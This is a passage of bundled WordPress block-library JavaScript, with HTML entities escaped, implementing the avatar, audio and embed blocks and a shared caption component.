  function useCommentAvatar({ commentId }) {
    const [avatars] = (0, import_core_data2.useEntityProp)(
      &quot;root&quot;,
      &quot;comment&quot;,
      &quot;author_avatar_urls&quot;,
      commentId
    );
    const [authorName] = (0, import_core_data2.useEntityProp)(
      &quot;root&quot;,
      &quot;comment&quot;,
      &quot;author_name&quot;,
      commentId
    );
    const avatarUrls = avatars ? Object.values(avatars) : null;
    const sizes = avatars ? Object.keys(avatars) : null;
    const { minSize, maxSize } = getAvatarSizes(sizes);
    const defaultAvatar = useDefaultAvatar();
    return {
      src: avatarUrls ? avatarUrls[avatarUrls.length - 1] : defaultAvatar,
      minSize,
      maxSize,
      alt: authorName ? (
        // translators: %s: Author name.
        (0, import_i18n6.sprintf)((0, import_i18n6.__)(&quot;%s Avatar&quot;), authorName)
      ) : (0, import_i18n6.__)(&quot;Default Avatar&quot;)
    };
  }
  function useUserAvatar({ userId, postId, postType }) {
    const { authorDetails } = (0, import_data6.useSelect)(
      (select9) =&gt; {
        const { getEditedEntityRecord, getUser } = select9(import_core_data2.store);
        if (userId) {
          return {
            authorDetails: getUser(userId)
          };
        }
        const _authorId = getEditedEntityRecord(
          &quot;postType&quot;,
          postType,
          postId
        )?.author;
        return {
          authorDetails: _authorId ? getUser(_authorId) : null
        };
      },
      [postType, postId, userId]
    );
    const avatarUrls = authorDetails?.avatar_urls ? Object.values(authorDetails.avatar_urls) : null;
    const sizes = authorDetails?.avatar_urls ? Object.keys(authorDetails.avatar_urls) : null;
    const { minSize, maxSize } = getAvatarSizes(sizes);
    const defaultAvatar = useDefaultAvatar();
    return {
      src: avatarUrls ? avatarUrls[avatarUrls.length - 1] : defaultAvatar,
      minSize,
      maxSize,
      alt: authorDetails ? (
        // translators: %s: Author name.
        (0, import_i18n6.sprintf)((0, import_i18n6.__)(&quot;%s Avatar&quot;), authorDetails?.name)
      ) : (0, import_i18n6.__)(&quot;Default Avatar&quot;)
    };
  }

  // packages/block-library/build-module/avatar/user-control.mjs
  var import_i18n7 = __toESM(require_i18n(), 1);
  var import_components4 = __toESM(require_components(), 1);
  var import_data7 = __toESM(require_data(), 1);
  var import_core_data3 = __toESM(require_core_data(), 1);
  var import_element4 = __toESM(require_element(), 1);
  var import_compose3 = __toESM(require_compose(), 1);
  var import_html_entities = __toESM(require_html_entities(), 1);
  var import_jsx_runtime167 = __toESM(require_jsx_runtime(), 1);
  var AUTHORS_QUERY = {
    who: &quot;authors&quot;,
    per_page: 100,
    _fields: &quot;id,name&quot;,
    context: &quot;view&quot;
  };
  function UserControl({ value, onChange }) {
    const [filterValue, setFilterValue] = (0, import_element4.useState)(&quot;&quot;);
    const { authors, isLoading } = (0, import_data7.useSelect)(
      (select9) =&gt; {
        const { getUsers, isResolving } = select9(import_core_data3.store);
        const query = { ...AUTHORS_QUERY };
        if (filterValue) {
          query.search = filterValue;
          query.search_columns = [&quot;name&quot;];
        }
        return {
          authors: getUsers(query),
          isLoading: isResolving(&quot;getUsers&quot;, [query])
        };
      },
      [filterValue]
    );
    const options2 = (0, import_element4.useMemo)(() =&gt; {
      return (authors ?? []).map((author) =&gt; {
        return {
          value: author.id,
          label: (0, import_html_entities.decodeEntities)(author.name)
        };
      });
    }, [authors]);
    return /* @__PURE__ */ (0, import_jsx_runtime167.jsx)(
      import_components4.ComboboxControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n7.__)(&quot;User&quot;),
        help: (0, import_i18n7.__)(
          &quot;Select the avatar user to display, if it is blank it will use the post/page author.&quot;
        ),
        value,
        onChange,
        options: options2,
        onFilterValueChange: (0, import_compose3.debounce)(setFilterValue, 300),
        isLoading
      }
    );
  }

  // packages/block-library/build-module/avatar/edit.mjs
  var import_jsx_runtime168 = __toESM(require_jsx_runtime(), 1);
  var AvatarInspectorControls = ({
    setAttributes,
    avatar,
    attributes: attributes2,
    selectUser
  }) =&gt; {
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(import_block_editor12.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime168.jsxs)(
      import_components5.__experimentalToolsPanel,
      {
        label: (0, import_i18n8.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({
            size: 96,
            isLink: false,
            linkTarget: &quot;_self&quot;,
            userId: void 0
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
            import_components5.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n8.__)(&quot;Image size&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; attributes2?.size !== 96,
              onDeselect: () =&gt; setAttributes({ size: 96 }),
              children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
                import_components5.RangeControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n8.__)(&quot;Image size&quot;),
                  onChange: (newSize) =&gt; setAttributes({
                    size: newSize
                  }),
                  min: avatar.minSize,
                  max: avatar.maxSize,
                  initialPosition: attributes2?.size,
                  value: attributes2?.size
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
            import_components5.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n8.__)(&quot;Link to user profile&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; attributes2?.isLink,
              onDeselect: () =&gt; setAttributes({ isLink: false }),
              children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
                import_components5.ToggleControl,
                {
                  label: (0, import_i18n8.__)(&quot;Link to user profile&quot;),
                  onChange: () =&gt; setAttributes({ isLink: !attributes2.isLink }),
                  checked: attributes2.isLink
                }
              )
            }
          ),
          attributes2.isLink &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
            import_components5.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n8.__)(&quot;Open in new tab&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; attributes2?.linkTarget !== &quot;_self&quot;,
              onDeselect: () =&gt; setAttributes({ linkTarget: &quot;_self&quot; }),
              children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
                import_components5.ToggleControl,
                {
                  label: (0, import_i18n8.__)(&quot;Open in new tab&quot;),
                  onChange: (value) =&gt; setAttributes({
                    linkTarget: value ? &quot;_blank&quot; : &quot;_self&quot;
                  }),
                  checked: attributes2.linkTarget === &quot;_blank&quot;
                }
              )
            }
          ),
          selectUser &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
            import_components5.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n8.__)(&quot;User&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; !!attributes2?.userId,
              onDeselect: () =&gt; setAttributes({ userId: void 0 }),
              children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
                UserControl,
                {
                  value: attributes2?.userId,
                  onChange: (value) =&gt; {
                    setAttributes({
                      userId: value
                    });
                  }
                }
              )
            }
          )
        ]
      }
    ) });
  };
  var AvatarLinkWrapper = ({ children, isLink }) =&gt; isLink ? /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
    &quot;a&quot;,
    {
      href: &quot;#avatar-pseudo-link&quot;,
      className: &quot;wp-block-avatar__link&quot;,
      onClick: (event) =&gt; event.preventDefault(),
      children
    }
  ) : children;
  var ResizableAvatar = ({
    setAttributes,
    attributes: attributes2,
    avatar,
    blockProps,
    isSelected
  }) =&gt; {
    const borderProps = (0, import_block_editor12.__experimentalUseBorderProps)(attributes2);
    const doubledSizedSrc = (0, import_url.addQueryArgs)(
      (0, import_url.removeQueryArgs)(avatar?.src, [&quot;s&quot;]),
      {
        s: attributes2?.size * 2
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(AvatarLinkWrapper, { isLink: attributes2.isLink, children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
      import_components5.ResizableBox,
      {
        size: {
          width: attributes2.size,
          height: attributes2.size
        },
        showHandle: isSelected,
        onResizeStop: (event, direction, elt, delta) =&gt; {
          setAttributes({
            size: parseInt(
              attributes2.size + (delta.height || delta.width),
              10
            )
          });
        },
        lockAspectRatio: true,
        enable: {
          top: false,
          right: !(0, import_i18n8.isRTL)(),
          bottom: true,
          left: (0, import_i18n8.isRTL)()
        },
        minWidth: avatar.minSize,
        maxWidth: avatar.maxSize,
        children: /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
          &quot;img&quot;,
          {
            src: doubledSizedSrc,
            alt: avatar.alt,
            className: clsx_default(
              &quot;avatar&quot;,
              &quot;avatar-&quot; + attributes2.size,
              &quot;photo&quot;,
              &quot;wp-block-avatar__image&quot;,
              borderProps.className
            ),
            style: borderProps.style
          }
        )
      }
    ) }) });
  };
  var CommentEdit = ({ attributes: attributes2, context, setAttributes, isSelected }) =&gt; {
    const { commentId } = context;
    const blockProps = (0, import_block_editor12.useBlockProps)();
    const avatar = useCommentAvatar({ commentId });
    return /* @__PURE__ */ (0, import_jsx_runtime168.jsxs)(import_jsx_runtime168.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
        AvatarInspectorControls,
        {
          avatar,
          setAttributes,
          attributes: attributes2,
          selectUser: false
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
        ResizableAvatar,
        {
          attributes: attributes2,
          avatar,
          blockProps,
          isSelected,
          setAttributes
        }
      )
    ] });
  };
  var UserEdit = ({ attributes: attributes2, context, setAttributes, isSelected }) =&gt; {
    const { postId, postType } = context;
    const avatar = useUserAvatar({
      userId: attributes2?.userId,
      postId,
      postType
    });
    const blockProps = (0, import_block_editor12.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime168.jsxs)(import_jsx_runtime168.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
        AvatarInspectorControls,
        {
          selectUser: true,
          attributes: attributes2,
          avatar,
          setAttributes
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(
        ResizableAvatar,
        {
          attributes: attributes2,
          avatar,
          blockProps,
          isSelected,
          setAttributes
        }
      )
    ] });
  };
  function Edit5(props) {
    if (props?.context?.commentId || props?.context?.commentId === null) {
      return /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(CommentEdit, { ...props });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime168.jsx)(UserEdit, { ...props });
  }

  // packages/block-library/build-module/avatar/index.mjs
  var { name: name6 } = block_default6;
  var settings6 = {
    icon: comment_author_avatar_default,
    edit: Edit5,
    example: {}
  };
  var init6 = () =&gt; initBlock({ name: name6, metadata: block_default6, settings: settings6 });

  // packages/block-library/build-module/audio/index.mjs
  var audio_exports = {};
  __export(audio_exports, {
    init: () =&gt; init7,
    metadata: () =&gt; block_default8,
    name: () =&gt; name7,
    settings: () =&gt; settings7
  });
  var import_i18n11 = __toESM(require_i18n(), 1);
  var import_blocks6 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/audio/deprecated.mjs
  var import_block_editor13 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime169 = __toESM(require_jsx_runtime(), 1);
  var deprecated_default2 = [
    {
      attributes: {
        src: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;audio&quot;,
          attribute: &quot;src&quot;
        },
        caption: {
          type: &quot;string&quot;,
          source: &quot;html&quot;,
          selector: &quot;figcaption&quot;
        },
        id: {
          type: &quot;number&quot;
        },
        autoplay: {
          type: &quot;boolean&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;audio&quot;,
          attribute: &quot;autoplay&quot;
        },
        loop: {
          type: &quot;boolean&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;audio&quot;,
          attribute: &quot;loop&quot;
        },
        preload: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;audio&quot;,
          attribute: &quot;preload&quot;
        }
      },
      supports: {
        align: true
      },
      save({ attributes: attributes2 }) {
        const { autoplay, caption, loop, preload, src } = attributes2;
        return /* @__PURE__ */ (0, import_jsx_runtime169.jsxs)(&quot;figure&quot;, { children: [
          /* @__PURE__ */ (0, import_jsx_runtime169.jsx)(
            &quot;audio&quot;,
            {
              controls: &quot;controls&quot;,
              src,
              autoPlay: autoplay,
              loop,
              preload
            }
          ),
          !import_block_editor13.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime169.jsx)(
            import_block_editor13.RichText.Content,
            {
              tagName: &quot;figcaption&quot;,
              value: caption
            }
          )
        ] });
      }
    }
  ];

  // packages/block-library/build-module/audio/edit.mjs
  var import_blob2 = __toESM(require_blob(), 1);
  var import_components8 = __toESM(require_components(), 1);
  var import_block_editor15 = __toESM(require_block_editor(), 1);
  var import_i18n10 = __toESM(require_i18n(), 1);
  var import_data8 = __toESM(require_data(), 1);
  var import_notices = __toESM(require_notices(), 1);
  var import_element7 = __toESM(require_element(), 1);

  // node_modules/memize/dist/index.js
  function memize(fn, options2) {
    var size = 0;
    var head;
    var tail;
    options2 = options2 || {};
    function memoized() {
      var node = head, len = arguments.length, args, i2;
      searchCache: while (node) {
        if (node.args.length !== arguments.length) {
          node = node.next;
          continue;
        }
        for (i2 = 0; i2 &lt; len; i2++) {
          if (node.args[i2] !== arguments[i2]) {
            node = node.next;
            continue searchCache;
          }
        }
        if (node !== head) {
          if (node === tail) {
            tail = node.prev;
          }
          node.prev.next = node.next;
          if (node.next) {
            node.next.prev = node.prev;
          }
          node.next = head;
          node.prev = null;
          head.prev = node;
          head = node;
        }
        return node.val;
      }
      args = new Array(len);
      for (i2 = 0; i2 &lt; len; i2++) {
        args[i2] = arguments[i2];
      }
      node = {
        args,
        // Generate the result from original function
        val: fn.apply(null, args)
      };
      if (head) {
        head.prev = node;
        node.next = head;
      } else {
        tail = node;
      }
      if (size === /** @type {MemizeOptions} */
      options2.maxSize) {
        tail = /** @type {MemizeCacheNode} */
        tail.prev;
        tail.next = null;
      } else {
        size++;
      }
      head = node;
      return node.val;
    }
    memoized.clear = function() {
      head = null;
      tail = null;
      size = 0;
    };
    return memoized;
  }

  // packages/block-library/build-module/embed/util.mjs
  var import_components6 = __toESM(require_components(), 1);
  var import_element5 = __toESM(require_element(), 1);
  var import_blocks3 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/embed/block.json
  var block_default7 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/embed&quot;,
    title: &quot;Embed&quot;,
    category: &quot;embed&quot;,
    description: &quot;Add a block that displays content pulled from other sites, like Twitter or YouTube.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      url: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      caption: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;figcaption&quot;,
        role: &quot;content&quot;
      },
      type: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      providerNameSlug: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      allowResponsive: {
        type: &quot;boolean&quot;,
        default: true
      },
      responsive: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      },
      previewable: {
        type: &quot;boolean&quot;,
        default: true,
        role: &quot;content&quot;
      }
    },
    supports: {
      anchor: true,
      align: true,
      spacing: {
        margin: true
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-embed-editor&quot;,
    style: &quot;wp-block-embed&quot;
  };

  // packages/block-library/build-module/embed/constants.mjs
  var ASPECT_RATIOS = [
    // Common video resolutions.
    { ratio: &quot;2.33&quot;, className: &quot;wp-embed-aspect-21-9&quot; },
    { ratio: &quot;2.00&quot;, className: &quot;wp-embed-aspect-18-9&quot; },
    { ratio: &quot;1.78&quot;, className: &quot;wp-embed-aspect-16-9&quot; },
    { ratio: &quot;1.33&quot;, className: &quot;wp-embed-aspect-4-3&quot; },
    // Vertical video and instagram square video support.
    { ratio: &quot;1.00&quot;, className: &quot;wp-embed-aspect-1-1&quot; },
    { ratio: &quot;0.56&quot;, className: &quot;wp-embed-aspect-9-16&quot; },
    { ratio: &quot;0.50&quot;, className: &quot;wp-embed-aspect-1-2&quot; }
  ];
  var WP_EMBED_TYPE = &quot;wp-embed&quot;;

  // packages/block-library/build-module/lock-unlock.mjs
  var import_private_apis = __toESM(require_private_apis(), 1);
  var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
    &quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,
    &quot;@wordpress/block-library&quot;
  );

  // packages/block-library/build-module/embed/util.mjs
  var import_jsx_runtime170 = __toESM(require_jsx_runtime(), 1);
  var { name: DEFAULT_EMBED_BLOCK } = block_default7;
  var { kebabCase } = unlock(import_components6.privateApis);
  var getEmbedInfoByProvider = (provider) =&gt; (0, import_blocks3.getBlockVariations)(DEFAULT_EMBED_BLOCK)?.find(
    ({ name: name123 }) =&gt; name123 === provider
  );
  var matchesPatterns = (url, patterns = []) =&gt; patterns.some((pattern) =&gt; url.match(pattern));
  var findMoreSuitableBlock = (url) =&gt; (0, import_blocks3.getBlockVariations)(DEFAULT_EMBED_BLOCK)?.find(
    ({ patterns }) =&gt; matchesPatterns(url, patterns)
  );
  var isFromWordPress = (html) =&gt; html &amp;&amp; html.includes(&#039;class=&quot;wp-embedded-content&quot;&#039;);
  var getPhotoHtml = (photo) =&gt; {
    const imageUrl = photo.url || photo.thumbnail_url;
    const photoPreview = /* @__PURE__ */ (0, import_jsx_runtime170.jsx)(&quot;p&quot;, { children: /* @__PURE__ */ (0, import_jsx_runtime170.jsx)(&quot;img&quot;, { src: imageUrl, alt: photo.title, width: &quot;100%&quot; }) });
    return (0, import_element5.renderToString)(photoPreview);
  };
  var createUpgradedEmbedBlock = (props, attributesFromPreview = {}) =&gt; {
    const { preview, attributes: attributes2 = {} } = props;
    const { url, providerNameSlug, type, ...restAttributes } = attributes2;
    if (!url || !(0, import_blocks3.getBlockType)(DEFAULT_EMBED_BLOCK)) {
      return;
    }
    const matchedBlock = findMoreSuitableBlock(url);
    const isCurrentBlockWP = providerNameSlug === &quot;wordpress&quot; || type === WP_EMBED_TYPE;
    const shouldCreateNewBlock = !isCurrentBlockWP &amp;&amp; matchedBlock &amp;&amp; (matchedBlock.attributes.providerNameSlug !== providerNameSlug || !providerNameSlug);
    if (shouldCreateNewBlock) {
      return (0, import_blocks3.createBlock)(DEFAULT_EMBED_BLOCK, {
        url,
        ...restAttributes,
        ...matchedBlock.attributes
      });
    }
    const wpVariation = (0, import_blocks3.getBlockVariations)(DEFAULT_EMBED_BLOCK)?.find(
      ({ name: name123 }) =&gt; name123 === &quot;wordpress&quot;
    );
    if (!wpVariation || !preview || !isFromWordPress(preview.html) || isCurrentBlockWP) {
      return;
    }
    return (0, import_blocks3.createBlock)(DEFAULT_EMBED_BLOCK, {
      url,
      ...wpVariation.attributes,
      // By now we have the preview, but when the new block first renders, it
      // won&#039;t have had all the attributes set, and so won&#039;t get the correct
      // type and it won&#039;t render correctly. So, we pass through the current attributes
      // here so that the initial render works when we switch to the WordPress
      // block. This only affects the WordPress block because it can&#039;t be
      // rendered in the usual Sandbox (it has a sandbox of its own) and it
      // relies on the preview to set the correct render type.
      ...attributesFromPreview
    });
  };
  var hasAspectRatioClass = (existingClassNames) =&gt; {
    if (!existingClassNames) {
      return false;
    }
    return ASPECT_RATIOS.some(
      ({ className }) =&gt; existingClassNames.includes(className)
    );
  };
  var removeAspectRatioClasses = (existingClassNames) =&gt; {
    if (!existingClassNames) {
      return existingClassNames;
    }
    const aspectRatioClassNames = ASPECT_RATIOS.reduce(
      (accumulator, { className }) =&gt; {
        accumulator.push(className);
        return accumulator;
      },
      [&quot;wp-has-aspect-ratio&quot;]
    );
    let outputClassNames = existingClassNames;
    for (const className of aspectRatioClassNames) {
      outputClassNames = outputClassNames.replace(className, &quot;&quot;);
    }
    return outputClassNames.trim();
  };
  function hasInlineResponsivePadding(html) {
    const paddingPattern = /padding-(top|bottom)\s*:\s*[\d.]+%/i;
    return paddingPattern.test(html);
  }
  function getClassNames(html, existingClassNames, allowResponsive = true) {
    if (!allowResponsive) {
      return removeAspectRatioClasses(existingClassNames);
    }
    if (hasInlineResponsivePadding(html)) {
      return removeAspectRatioClasses(existingClassNames);
    }
    const previewDocument = document.implementation.createHTMLDocument(&quot;&quot;);
    previewDocument.body.innerHTML = html;
    const iframe = previewDocument.body.querySelector(&quot;iframe&quot;);
    if (iframe &amp;&amp; iframe.height &amp;&amp; iframe.width) {
      const aspectRatio = (iframe.width / iframe.height).toFixed(2);
      for (let ratioIndex = 0; ratioIndex &lt; ASPECT_RATIOS.length; ratioIndex++) {
        const potentialRatio = ASPECT_RATIOS[ratioIndex];
        if (aspectRatio &gt;= potentialRatio.ratio) {
          const ratioDiff = aspectRatio - potentialRatio.ratio;
          if (ratioDiff &gt; 0.1) {
            return removeAspectRatioClasses(existingClassNames);
          }
          return clsx_default(
            removeAspectRatioClasses(existingClassNames),
            potentialRatio.className,
            &quot;wp-has-aspect-ratio&quot;
          );
        }
      }
    }
    return existingClassNames;
  }
  function fallback(url, onReplace) {
    const link = /* @__PURE__ */ (0, import_jsx_runtime170.jsx)(&quot;a&quot;, { href: url, children: url });
    onReplace(
      (0, import_blocks3.createBlock)(&quot;core/paragraph&quot;, { content: (0, import_element5.renderToString)(link) })
    );
  }
  var getAttributesFromPreview = memize(
    (preview, title, currentClassNames, isResponsive, allowResponsive = true) =&gt; {
      if (!preview) {
        return {};
      }
      const attributes2 = {};
      let { type = &quot;rich&quot; } = preview;
      const { html, provider_name: providerName } = preview;
      const providerNameSlug = kebabCase(
        (providerName || title).toLowerCase()
      );
      if (isFromWordPress(html)) {
        type = WP_EMBED_TYPE;
      }
      if (html || &quot;photo&quot; === type) {
        attributes2.type = type;
        attributes2.providerNameSlug = providerNameSlug;
      }
      if (hasAspectRatioClass(currentClassNames)) {
        return attributes2;
      }
      attributes2.className = getClassNames(
        html,
        currentClassNames,
        isResponsive &amp;&amp; allowResponsive
      );
      return attributes2;
    }
  );
  var getMergedAttributesWithPreview = (currentAttributes, preview, title, isResponsive) =&gt; {
    const { allowResponsive, className } = currentAttributes;
    return {
      ...currentAttributes,
      ...getAttributesFromPreview(
        preview,
        title,
        className,
        isResponsive,
        allowResponsive
      )
    };
  };

  // packages/block-library/build-module/utils/caption.mjs
  var import_element6 = __toESM(require_element(), 1);
  var import_compose4 = __toESM(require_compose(), 1);
  var import_i18n9 = __toESM(require_i18n(), 1);
  var import_block_editor14 = __toESM(require_block_editor(), 1);
  var import_components7 = __toESM(require_components(), 1);
  var import_blocks4 = __toESM(require_blocks(), 1);
  var import_jsx_runtime171 = __toESM(require_jsx_runtime(), 1);
  function Caption({
    attributeKey = &quot;caption&quot;,
    attributes: attributes2,
    setAttributes,
    isSelected,
    insertBlocksAfter,
    placeholder: placeholder2 = (0, import_i18n9.__)(&quot;Add caption&quot;),
    label = (0, import_i18n9.__)(&quot;Caption text&quot;),
    showToolbarButton = true,
    excludeElementClassName,
    className,
    readOnly,
    tagName = &quot;figcaption&quot;,
    addLabel = (0, import_i18n9.__)(&quot;Add caption&quot;),
    removeLabel = (0, import_i18n9.__)(&quot;Remove caption&quot;),
    icon: icon4 = caption_default,
    ...props
  }) {
    const caption = attributes2[attributeKey];
    const prevCaption = (0, import_compose4.usePrevious)(caption);
    const isCaptionEmpty = import_block_editor14.RichText.isEmpty(caption);
    const isPrevCaptionEmpty = import_block_editor14.RichText.isEmpty(prevCaption);
    const [showCaption, setShowCaption] = (0, import_element6.useState)(!isCaptionEmpty);
    (0, import_element6.useEffect)(() =&gt; {
      if (!isCaptionEmpty &amp;&amp; isPrevCaptionEmpty) {
        setShowCaption(true);
      }
    }, [isCaptionEmpty, isPrevCaptionEmpty]);
    (0, import_element6.useEffect)(() =&gt; {
      if (!isSelected &amp;&amp; isCaptionEmpty) {
        setShowCaption(false);
      }
    }, [isSelected, isCaptionEmpty]);
    const ref = (0, import_element6.useCallback)(
      (node) =&gt; {
        if (node &amp;&amp; isCaptionEmpty) {
          node.focus();
        }
      },
      [isCaptionEmpty]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime171.jsxs)(import_jsx_runtime171.Fragment, { children: [
      showToolbarButton &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime171.jsx)(import_block_editor14.BlockControls, { group: &quot;block&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime171.jsx)(
        import_components7.ToolbarButton,
        {
          onClick: () =&gt; {
            setShowCaption(!showCaption);
            if (showCaption &amp;&amp; caption) {
              setAttributes({
                [attributeKey]: void 0
              });
            }
          },
          icon: icon4,
          isPressed: showCaption,
          label: showCaption ? removeLabel : addLabel
        }
      ) }),
      showCaption &amp;&amp; (!import_block_editor14.RichText.isEmpty(caption) || isSelected) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime171.jsx)(
        import_block_editor14.RichText,
        {
          identifier: attributeKey,
          tagName,
          className: clsx_default(
            className,
            excludeElementClassName ? &quot;&quot; : (0, import_block_editor14.__experimentalGetElementClassName)(&quot;caption&quot;)
          ),
          ref,
          &quot;aria-label&quot;: label,
          placeholder: placeholder2,
          value: caption,
          onChange: (value) =&gt; setAttributes({ [attributeKey]: value }),
          inlineToolbar: true,
          __unstableOnSplitAtEnd: () =&gt; insertBlocksAfter(
            (0, import_blocks4.createBlock)((0, import_blocks4.getDefaultBlockName)())
          ),
          readOnly,
          ...props
        }
      )
    ] });
  }

  // packages/block-library/build-module/audio/edit.mjs
  var import_jsx_runtime172 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_MEDIA_TYPES = [&quot;audio&quot;];
  function AudioEdit({
    attributes: attributes2,
    className,
    setAttributes,
    onReplace,
    isSelected: isSingleSelected,
    insertBlocksAfter
  }) {
    const { id, autoplay, loop, preload, src } = attributes2;
    const [temporaryURL, setTemporaryURL] = (0, import_element7.useState)(attributes2.blob);
    const blockEditingMode = (0, import_block_editor15.useBlockEditingMode)();
    const hasNonContentControls = blockEditingMode === &quot;default&quot;;
    useUploadMediaFromBlobURL({
      url: temporaryURL,
      allowedTypes: ALLOWED_MEDIA_TYPES,
      onChange: onSelectAudio,
      onError: onUploadError
    });
    function toggleAttribute(attribute) {
      return (newValue) =&gt; {
        setAttributes({ [attribute]: newValue });
      };
    }
    function onSelectURL(newSrc) {
      if (newSrc !== src) {
        const embedBlock = createUpgradedEmbedBlock({
          attributes: { url: newSrc }
        });
        if (void 0 !== embedBlock &amp;&amp; onReplace) {
          onReplace(embedBlock);
          return;
        }
        setAttributes({ src: newSrc, id: void 0, blob: void 0 });
        setTemporaryURL();
      }
    }
    const { createErrorNotice } = (0, import_data8.useDispatch)(import_notices.store);
    function onUploadError(message) {
      createErrorNotice(message, { type: &quot;snackbar&quot; });
    }
    function getAutoplayHelp(checked) {
      return checked ? (0, import_i18n10.__)(&quot;Autoplay may cause usability issues for some users.&quot;) : null;
    }
    function onSelectAudio(media) {
      if (!media || !media.url) {
        setAttributes({
          src: void 0,
          id: void 0,
          caption: void 0,
          blob: void 0
        });
        setTemporaryURL();
        return;
      }
      if ((0, import_blob2.isBlobURL)(media.url)) {
        setTemporaryURL(media.url);
        return;
      }
      setAttributes({
        blob: void 0,
        src: media.url,
        id: media.id,
        caption: media.caption
      });
      setTemporaryURL();
    }
    const classes = clsx_default(className, {
      &quot;is-transient&quot;: !!temporaryURL
    });
    const blockProps = (0, import_block_editor15.useBlockProps)({
      className: classes
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    if (!src &amp;&amp; !temporaryURL) {
      return /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
        import_block_editor15.MediaPlaceholder,
        {
          icon: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(import_block_editor15.BlockIcon, { icon: audio_default }),
          onSelect: onSelectAudio,
          onSelectURL,
          accept: &quot;audio/*&quot;,
          allowedTypes: ALLOWED_MEDIA_TYPES,
          value: attributes2,
          onError: onUploadError
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime172.jsxs)(import_jsx_runtime172.Fragment, { children: [
      isSingleSelected &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(import_block_editor15.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
        import_block_editor15.MediaReplaceFlow,
        {
          mediaId: id,
          mediaURL: src,
          allowedTypes: ALLOWED_MEDIA_TYPES,
          accept: &quot;audio/*&quot;,
          onSelect: onSelectAudio,
          onSelectURL,
          onError: onUploadError,
          onReset: () =&gt; onSelectAudio(void 0),
          variant: &quot;toolbar&quot;
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(import_block_editor15.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime172.jsxs)(
        import_components8.__experimentalToolsPanel,
        {
          label: (0, import_i18n10.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              autoplay: false,
              loop: false,
              preload: void 0
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
              import_components8.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n10.__)(&quot;Autoplay&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !!autoplay,
                onDeselect: () =&gt; setAttributes({
                  autoplay: false
                }),
